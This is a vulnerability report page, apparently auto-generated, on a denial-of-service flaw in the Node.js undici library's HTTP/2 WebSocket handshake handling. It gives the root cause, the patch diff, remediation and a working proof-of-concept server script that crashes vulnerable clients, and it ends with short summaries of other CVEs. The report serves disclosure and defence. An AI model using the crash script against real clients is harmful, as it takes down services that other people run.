CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-109855

CVE-2026-109855: Denial of Service via Unhandled Stream Error in Node.js Undici HTTP/2 WebSockets

Alon Barad
Alon Barad
Software Engineer

Oct 27, 2026·9 min read·9 visits

Executive Summary (TL;DR)

Undici versions 8.11.0 and 8.11.1 leave HTTP/2 streams orphaned without error listeners when an RFC 8441 WebSocket handshake fails validation. A remote server can trigger a client-side Denial of Service by returning an invalid handshake response and subsequently closing the connection.

CVE-2026-109855 is a high-severity Denial of Service (DoS) vulnerability in undici, the primary HTTP/1.1 and HTTP/2 client library for Node.js maintained under the OpenJS Foundation. In versions 8.11.0 and 8.11.1, the WebSocket client fails to properly terminate underlying ClientHttp2Stream instances when an HTTP/2 WebSocket handshake fails validation. When the remote server subsequently closes or resets the stream, Node.js emits an unhandled error event on the orphaned stream, crashing the client process.

Vulnerability Overview

undici is the high-performance HTTP client library developed for Node.js under the OpenJS Foundation. In addition to handling standard HTTP/1.1 and HTTP/2 requests, undici provides a native WHATWG-compliant WebSocket implementation that is integrated directly into the Node.js runtime environment.

Starting in version 8.11.0, undici introduced support for bootstrapping WebSockets over HTTP/2 connections in accordance with RFC 8441. This capability uses the extended CONNECT method and is active whenever an undici dispatcher (such as an Agent or Client) is configured with allowH2: true.

CVE-2026-109855 (also tracked as GHSA-qq8j-7v2v-3rwp) is a Denial of Service vulnerability affecting undici versions 8.11.0 and 8.11.1. The flaw is classified under CWE-248 (Uncaught Exception) and CWE-754 (Improper Check for Unusual or Exceptional Conditions).

When an outbound WebSocket handshake negotiated over HTTP/2 fails client-side validation, undici leaves the underlying Node.js ClientHttp2Stream open without an active error handler. When the remote server subsequently closes or resets the HTTP/2 session, the orphaned stream emits an unhandled 'error' event, which immediately terminates the Node.js runtime process.

Root Cause Analysis

Under RFC 8441, a client initiates a WebSocket connection over HTTP/2 by sending an extended CONNECT request containing the :protocol pseudo-header set to websocket. Unlike HTTP/1.1, which relies on a 101 Switching Protocols response and hijacks the underlying TCP socket, HTTP/2 multiplexes the WebSocket tunnel over a single virtual stream (ClientHttp2Stream) while returning a 200 OK status code.

In undici, the function establishWebSocketConnection in lib/web/websocket/connection.js dispatches this upgrade request. Once the server sends the response headers, undici's internal HTTP/2 dispatcher marks the HTTP request lifecycle as completed and hands off the underlying ClientHttp2Stream (exposed as response.socket) to the WebSocket connection handler.

Following this handoff, establishWebSocketConnection validates the server's handshake parameters. Specifically, it verifies that the HTTP status code is 200, checks that any requested subprotocols are confirmed in the Sec-WebSocket-Protocol header, and validates any negotiated extensions in Sec-WebSocket-Extensions.

If any of these validation checks fail, the vulnerable implementation calls failWebsocketConnection(handler, code, reason, cause). This function attempts to clean up the connection by invoking handler.controller.abort(), which signals the underlying HTTP request to abort. However, because the HTTP/2 dispatcher already marked the request as completed when the headers arrived, the abort invocation becomes a no-op.

Because the abort operation does nothing and the WebSocket connection setup terminates early without attaching stream listeners, the ClientHttp2Stream remains active in memory without an 'error' event listener. When the remote server tears down the stream or closes the HTTP/2 session, Node.js's native node:http2 module emits an 'error' event on the stream. Because no listener is registered on the EventEmitter, Node.js throws an uncaughtException and exits the process.

Code Analysis

The vulnerability resides in lib/web/websocket/connection.js and was introduced in commit 6e48f4873a677ed6a13fa3e3571b032f00244bdf. In the vulnerable code path, all post-response validation checks invoke failWebsocketConnection directly without accounting for the state of response.socket on HTTP/2 connections.

The following snippet shows the vulnerable validation logic in lib/web/websocket/connection.js prior to the fix:

// HTTP2 status validation
if (response.status !== 200) {
  // Vulnerable: controller.abort() inside failWebsocketConnection will not close response.socket
  failWebsocketConnection(handler, 1002, 'Received network error or non-200 status code.', response.error)
  return
}
 
// Subprotocol presence validation
if (protocols.length !== 0 && !response.headersList.get('Sec-WebSocket-Protocol')) {
  failWebsocketConnection(handler, 1002, 'Server did not respond with sent protocols.')
  return
}

The patch, applied in commit dd28c5c55f4a25f7c441fd4365b1191f96c3b8bf (PR #5873), resolves this issue by introducing a dedicated wrapper function named failHandshake. This function checks whether the response socket belongs to an HTTP/2 session by inspecting response.socket?.session != null and explicitly destroys the stream before delegating to failWebsocketConnection.

function failHandshake (handler, response, code, reason, cause) {
  // The H2 upgrade request has already completed and handed off its stream.
  // Aborting the request cannot close that stream after handshake validation fails.
  if (response.socket?.session != null && !response.socket.destroyed) {
    response.socket.destroy()
  }
 
  failWebsocketConnection(handler, code, reason, cause)
}

All handshake validation failure paths in establishWebSocketConnection were updated to call failHandshake instead of failWebsocketConnection:

@@ -106,8 +106,8 @@ function establishWebSocketConnection (url, protocols, client, handler, options)
         // HTTP2
         if (response.status !== 200) {
-          failWebsocketConnection(handler, 1002, 'Received network error or non-200 status code.', response.error)
+          failHandshake(handler, response, 1002, 'Received network error or non-200 status code.', response.error)
           return
         }
       }
@@ -122,7 +122,7 @@ function establishWebSocketConnection (url, protocols, client, handler, options)
       if (protocols.length !== 0 && !response.headersList.get('Sec-WebSocket-Protocol')) {
-        failWebsocketConnection(handler, 1002, 'Server did not respond with sent protocols.')
+        failHandshake(handler, response, 1002, 'Server did not respond with sent protocols.')
         return
       }

The fix is complete for the handshake phase. By invoking response.socket.destroy() synchronously when validation fails, the ClientHttp2Stream is immediately closed and cleaned up before the remote peer can trigger an asynchronous stream error. For HTTP/1.1 connections (response.socket?.session == null), the existing teardown mechanics remain unchanged because HTTP/1.1 101 Switching Protocols handshakes manage socket lifecycles through the standard upgrade mechanism.

Exploitation

Exploiting CVE-2026-109855 requires a client application using undici (8.11.0 or 8.11.1) to initiate a WebSocket connection to an attacker-controlled or malfunctioning HTTP/2 server. The client must have HTTP/2 enabled on its dispatcher (allowH2: true). No authentication or special privileges on the client machine are required.

To trigger the crash, the server performs the following steps:

  1. Advertise support for RFC 8441 extended CONNECT by setting enableConnectProtocol: true in the HTTP/2 SETTINGS frame.
  2. Accept the incoming WebSocket CONNECT stream from the client and respond with headers that violate the WebSocket handshake specification (for example, returning :status: 400, or returning :status: 200 while omitting a Sec-WebSocket-Protocol header that the client requested).
  3. Destroy or close the HTTP/2 session or stream immediately after transmitting the response headers.

> [!NOTE] > Even if the client developer registers an 'error' listener on the WebSocket instance (ws.addEventListener('error', ...)), it will not prevent the crash. The uncaught error is emitted on the internal ClientHttp2Stream object, which is not exposed to the user-level WebSocket API upon handshake failure.

The following proof-of-concept script, derived from the official regression test added in commit dd28c5c55f4a25f7c441fd4365b1191f96c3b8bf, reproduces the process crash:

'use strict'
 
const assert = require('node:assert/strict')
const { createSecureServer } = require('node:http2')
const { once } = require('node:events')
const { Agent, WebSocket } = require('undici')
const { key, cert } = require('@metcoder95/https-pem')
 
async function triggerCrash () {
  let session
 
  // 1. Start an HTTP/2 server with RFC 8441 extended CONNECT enabled
  const server = createSecureServer({
    key,
    cert,
    settings: { enableConnectProtocol: true }
  })
 
  server.on('session', (s) => {
    session = s
  })
 
  // 2. Send a 200 OK response without the requested Sec-WebSocket-Protocol header
  server.on('stream', (stream) => {
    stream.on('error', () => {})
    stream.respond({ ':status': 200 })
  })
 
  server.listen(0)
  await once(server, 'listening')
  const port = server.address().port
 
  // 3. Connect using an undici Agent with allowH2 enabled
  const dispatcher = new Agent({
    allowH2: true,
    connect: { rejectUnauthorized: false }
  })
 
  const ws = new WebSocket(`wss://localhost:${port}`, {
    dispatcher,
    protocols: ['chat']
  })
 
  // Attach standard WebSocket error handler (does not catch the internal stream error)
  ws.addEventListener('error', () => {})
 
  const [closeEvent] = await once(ws, 'close')
  assert.strictEqual(closeEvent.code, 1006)
 
  // 4. Destroy the session from the server side to trigger the unhandled error
  session.destroy()
}
 
triggerCrash()

When executed against undici 8.11.0 or 8.11.1, calling session.destroy() causes the client process to terminate with an unhandled error event (Error: ClientHttp2Stream was destroyed before receiving response headers or ERR_HTTP2_STREAM_ERROR).

Impact Assessment

The primary impact of CVE-2026-109855 is a high-severity Denial of Service (CVSS v3.1 score 7.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Because Node.js runs JavaScript on a single-threaded event loop by default, an uncaught exception immediately terminates the entire OS process, dropping all concurrent in-flight HTTP requests, active WebSocket connections, and background tasks handled by that worker.

Applications are exposed if they meet two conditions:

  1. They use undici version 8.11.0 or 8.11.1.
  2. They establish outbound WebSocket connections using a dispatcher configured with allowH2: true.

Backend services that connect to third-party WebSocket APIs, federated messaging servers, user-supplied webhook/socket endpoints, or upstream reverse proxies supporting HTTP/2 are particularly susceptible. Notice that intentional malice is not strictly required to trigger this bug; a legitimate upstream server or load balancer that returns a 401 Unauthorized, 403 Forbidden, or 502 Bad Gateway response over HTTP/2 during a WebSocket handshake and then closes the stream will also crash the client application.

This vulnerability does not allow memory corruption, arbitrary code execution, or unauthorized data disclosure (C:N/I:N). According to threat intelligence metrics, the vulnerability has an EPSS score of 0.00279 (20.21th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

Upgrade to Patched Version

The recommended remediation is to upgrade undici to version 8.11.2 or later, which includes commit dd28c5c55f4a25f7c441fd4365b1191f96c3b8bf.

npm install undici@^8.11.2

Workarounds

If an immediate package upgrade is not feasible, developers can mitigate the vulnerability by disabling HTTP/2 negotiation on the dispatcher used for WebSocket connections. By setting allowH2: false, undici will negotiate all WebSocket connections over HTTP/1.1 using the standard Connection: Upgrade mechanism, which is not affected by the orphaned ClientHttp2Stream flaw.

const { Agent, WebSocket } = require('undici')
 
// Dedicated HTTP/1.1 dispatcher for WebSocket connections
const wsDispatcher = new Agent({
  allowH2: false
})
 
const ws = new WebSocket('wss://example.com/socket', {
  dispatcher: wsDispatcher
})

> [!WARNING] > Do not rely on global process.on('uncaughtException', ...) handlers as a primary workaround. Catching fatal stream errors globally leaves the Node.js application and internal undici connection pools in an undefined state, which can lead to file descriptor leaks or hung sockets.

Official Patches

Node.js / undiciUndici v8.11.2 release containing the fix for CVE-2026-109855
Node.js / undiciPull Request #5873: fix: close rejected HTTP/2 WebSocket handshake streams
GitHub Security AdvisoryOfficial GitHub Security Advisory GHSA-qq8j-7v2v-3rwp

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.28%
Top 80% most exploited

Affected Systems

Node.js applications using undici 8.11.0 or 8.11.1undici WebSocket client with HTTP/2 enabled (allowH2: true)

Affected Versions Detail

Product
Affected Versions
Fixed Version
undici
Node.js / OpenJS Foundation
>= 8.11.0, < 8.11.28.11.2
AttributeDetail
CVE IDCVE-2026-109855 (GHSA-qq8j-7v2v-3rwp)
CWE ClassificationCWE-248 (Uncaught Exception) / CWE-754
CVSS v3.1 Score7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
EPSS Score0.28% (20.21th percentile)
Affected Versionsundici 8.11.0, 8.11.1
Patched Versionundici 8.11.2
ImpactClient-side Denial of Service (Node.js process crash)
Exploit StatusPoC available (Official regression test)

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.004Application or System Exploitation
Impact
CWE-248
Uncaught Exception

An exception is thrown by an application, but is not caught or handled by any exception handler within the execution stack. In Node.js, an unhandled 'error' event emitted on an EventEmitter instance is treated as a fatal uncaught exception, resulting in process termination.

Known Exploits & Detection

GitHubOfficial regression test fixture (test/fixtures/websocket-h2-rejected-handshake.js) demonstrating the unhandled stream error crash.

Vulnerability Timeline

Fix commit dd28c5c55f4a25f7c441fd4365b1191f96c3b8bf merged via PR #5873
2026-09-24
Undici v8.11.2 released containing the patch
2026-09-24
CVE-2026-109855 and GHSA-qq8j-7v2v-3rwp officially published
2026-10-15
NVD completes analysis and assigns CVSS v3.1 score of 7.5
2026-10-19

References & Sources

  • [1]GitHub Security Advisory: GHSA-qq8j-7v2v-3rwp
  • [2]Fix Commit: close rejected HTTP/2 WebSocket handshake streams
  • [3]Pull Request #5873
  • [4]Undici v8.11.2 Release Notes
  • [5]NVD - CVE-2026-109855
  • [6]CVE.org Record: CVE-2026-109855
  • [7]OpenJS Foundation Security Advisories

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•41 minutes ago•CVE-2026-116693
8.7

CVE-2026-116693: Regular Expression Denial of Service in Datadog Node.js Tracer (dd-trace)

CVE-2026-116693 is a high-severity Regular Expression Denial of Service (ReDoS) vulnerability affecting the official Datadog Application Performance Monitoring (APM) client library for Node.js, dd-trace. The defect resides in the default regular expression defined by the DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP configuration parameter, which is used to sanitize incoming and outgoing HTTP URL query strings prior to recording trace span metadata. Due to overlapping sub-patterns and unanchored repetition blocks in the JSON Web Token (JWT) and URL-encoded string matching branches, the V8 JavaScript engine's regular expression subsystem (Irregexp) can be forced into catastrophic or high-degree polynomial backtracking. Because regular expression replacement occurs synchronously on the primary Node.js event loop, an unauthenticated remote attacker can send crafted HTTP requests with malicious query strings to consume 100% of the process CPU core, stalling concurrent request processing and rendering the application unavailable.

Alon Barad
Alon Barad
3 views•10 min read
•about 2 hours ago•CVE-2026-116692
9.8

CVE-2026-116692: Remote Code Execution in MLflow via Third-Party Scorer Deserialization

CVE-2026-116692 (GHSA-26p8-2jq9-3vq9) is a remote code execution vulnerability in MLflow affecting versions 3.12.0rc0 prior to 3.17.0. The flaw stems from an overly permissive module prefix check during the deserialization of third-party GenAI evaluation scorers in mlflow/genai/scorers/base.py. By setting an experiment's artifact root to a local package directory within the Python module search path and uploading a crafted Python file as a run artifact, an attacker can invoke the /ajax-api/3.0/mlflow/scorer/invoke endpoint to dynamically import and execute arbitrary code on the MLflow tracking server.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 3 hours ago•CVE-2026-116691
6.5

CVE-2026-116691: Cleartext LLM Provider API Key Disclosure in MLflow CrewAI Autologging

CVE-2026-116691 (GHSA-j7qq-vr8c-xvw3) is a sensitive credential disclosure vulnerability in the MLflow platform affecting versions 2.19.0 through 3.16.x. When CrewAI autologging is enabled via mlflow.crewai.autolog(), the tracing instrumentation fails to sanitize nested CrewAI LLM objects before serializing them into OpenTelemetry trace spans. Consequently, plaintext LLM provider API keys are extracted from object dictionaries and string representations, then transmitted and stored in MLflow tracking servers or external OpenTelemetry Protocol (OTLP) telemetry backends.

Alon Barad
Alon Barad
4 views•12 min read
•about 4 hours ago•CVE-2026-116690
7.5

CVE-2026-116690: Arbitrary File Read via Prompt Model Version Source in MLflow

MLflow versions 3.10.0 through 3.16.1 contain a path traversal vulnerability (CWE-22) in the model version creation handler. Specifically, the prompt-specific execution branch in `_create_model_version()` fails to validate schemeless relative paths and evaluates the `mlflow.prompt.is_prompt` tag based on key presence rather than value. An unauthenticated remote attacker on default deployments, or an authenticated low-privilege user on basic-auth deployments, can register a model version with a relative local path as its artifact source and subsequently retrieve arbitrary files from the server filesystem via the `/api/2.0/mlflow/model-versions/get-artifact` endpoint.

Alon Barad
Alon Barad
10 views•9 min read
•about 5 hours ago•CVE-2026-109383
7.4

CVE-2026-109383: Improper Certificate Validation in Node.js Undici Agent Dispatcher

CVE-2026-109383 (GHSA-2m5v-pch6-74hx) is an improper certificate validation vulnerability (CWE-295) in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js. In affected versions, the Agent constructor clones configuration options using a JSON-based deep clone function (util.deepClone), which executes JSON.parse(JSON.stringify(options)). Because JSON serialization omits function properties, custom certificate validation callbacks passed via the tls configuration option—such as tls.checkServerIdentity—are silently stripped before being passed to origin connection pools. Consequently, connections fall back to standard Node.js TLS validation, bypassing custom certificate pinning or hostname verification rules and allowing an Adversary-in-the-Middle (AitM) with a CA-trusted certificate to intercept and modify traffic.

Alon Barad
Alon Barad
6 views•10 min read
•about 6 hours ago•CVE-2026-109829
7.4

CVE-2026-109829: Persistent Cache Poisoning and Cross-User Information Disclosure in Node.js Undici

A cache key origin desynchronization and intermediate Cache-Control suppression vulnerability exists in the Node.js Undici HTTP client library. When an originless Agent composes the redirect and cache interceptors in the order compose(redirect(), cache()) with a shared cache store, cross-origin responses and sensitive redirected resources are stored under the initial request's cache key.

Alon Barad
Alon Barad
8 views•11 min read